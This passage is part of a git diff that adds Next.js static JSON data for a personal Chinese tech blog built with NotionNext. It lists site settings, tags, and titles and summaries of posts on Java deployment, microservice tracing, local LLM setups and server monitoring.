,"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"推荐"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220/page/1.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220/page/1.json" new file mode 100644 index 000000000..fe22ae9a3 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\216\250\350\215\220/page/1.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":15,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone 